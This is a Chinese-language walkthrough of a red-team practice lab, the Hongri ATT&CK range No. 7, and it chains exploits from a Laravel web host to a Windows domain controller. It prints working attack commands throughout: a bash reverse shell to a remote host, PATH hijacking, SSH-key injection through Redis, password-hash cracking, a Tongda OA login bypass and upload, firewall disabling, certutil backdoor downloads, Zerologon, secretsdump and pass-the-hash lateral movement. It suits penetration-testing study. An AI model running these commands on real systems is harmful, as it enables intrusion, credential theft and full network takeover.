红日ATT&CK红队实战(七)
漏洞拓扑
漏洞搭建
靶场启动:按照红日官网的操作步骤即可。
注意:启动web1可能显示nginx端口被占用的情况,使用sudo fuser -n tcp 81命令之后重新启动,后面下载的靶场通达OA会显示未授权,需要去官网注册获取授权文件。
外网打点
端口扫描,发现存在80、81、6379、2233(ssh)端口
CVE-2021-3129
81是一个Laravel v8.29.0(PHP v7.4.14)
搜索历史漏洞,使用工具进行利用即可
laravel-CVE-2021-3129-EXP:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
注意:这里目标地址后面的 / 要删除。
哥斯拉连接即可,这里使用哥斯拉1.0版本
根据进程数量和ifconfig、ip a缺失判断当前试docker环境。
但是当前权限比较低,先来获取root权限。一个显眼包。
执行shell脚本,发现显示的内容和ps命令很像。
上传php脚本获取一个交互式shell
echo system('bash -c "bash -i >& /dev/tcp/vps_ip/8888 0>&1"');
获取到root权限
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
先来上线cs,(此时获取的是容器的root权限)
容器逃逸获取宿主机权限
df -Th:查看linux系统挂载情况
挂载逃逸获取宿主机权限
这里尝试通过写入计划任务,写入ssh公钥尝试获取宿主机root权限,但是都失败了。遂放弃。。。
redis未授权
由于开启了ssh 2233端口,尝试写公钥连接。
CONFIG GET dir
CONFIG GET dbfilename
ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt // 将公钥信息进行分行,避免写入的时候造成影响
cat test.txt | redis-cli -h target_ip -x set xxx
CONFIG SET DIR "/root/.ssh" // 更改为公钥存放目录
CONFIG SET DBFILENAME "authorized_keys" // 重命名。如果存在会覆盖
save
del test // 删除test
config set dir /usr/local/redis/data // 还原
config set dbfilename dump.rdb // 还原
ssh -i id_rsa -p 2233 root@target_ip
上线cs,已获取到redis这台主机的root权限
尝试查看正在运行的docker容器,戏剧性的一幕来了,竟然没有docker命令。
查看IP地址,发现第一张网卡是:192.168.0.102/24,第二张网卡是:192.168.52.10/24
扫描一下IP地址,上传fscan扫描,发现地址192.168.52.20,并且22端口也是开启的
由于前面查看/etc/shadow文件,发现了ubuntu的密码密文,所以可以尝试破解一下。很好,弱口令 ubuntu:ubuntu
john --wordlist=/usr/share/wordlists/rockyou.txt hash
到此,这台拥有容器的主机也被拿下
此时cs已经获取到192.168.52.20这台主机的root权限。
内网渗透
这里在渗透第三台主机的时候,fscan禁ping也不行扫描到第三台主机,后面我将第三台主机的防火墙添加了入站规则,从而可以扫描到。
nps添加socks代理以访问内网通达。
通达在线任意用户登陆漏洞
http://192.168.52.30:8080/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
页面空白,表示漏洞可利用
http://192.168.52.30:8080/general/
添加cookie即可登陆成功
通达ispirit文件上传getshell
查看版本 11.3,文件上传即可,burp添加socks5代理
拼接地址执行命令
netsh advfirewall set allprofiles state off
certutil -urlcache -split -f http://192.168.93.10:8081/art.exe C:\art.exe
关闭防火墙,下载后门,上线cs
接下来信息收集,先来抓取明文密码
WHOAMIANONY Administrator:Whoami2021
WHOAMIANONY bunny:Bunny2021
查看IP地址,发现DNS服务器是192.168.93.30,有可能是域控IP
域渗透
net view 查看存在域控和两个域主机
CVE-2020-1472
将域控DC的密码置换为空。
proxychains4 python cve-2020-1472-exploit.py dc$ 192.168.93.30
此时使用空密码登陆域控,将密码hash全部导出。
proxychains4 python3 secretsdump.py WHOAMIANONY/dc\$@192.168.93.30 -just-dc -hashes :
使用hash登陆获取域控权限。
proxychains4 python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec Administrator@192.168.93.30
netsh advfirewall set allprofiles state off # 关闭防火墙
certutil -urlcache -split -f http://192.168.93.20:8080/to.exe C:\to.exe
利用192.168.93.20代理转发生成后门,通过通达url来下载后门并上线cs
接着使用psexec横向渗透,获取PC2的权限。
proxychains4 python3 psexec.py Administrator:Whoami2021@192.168.93.40
使用同样的方法上线cs。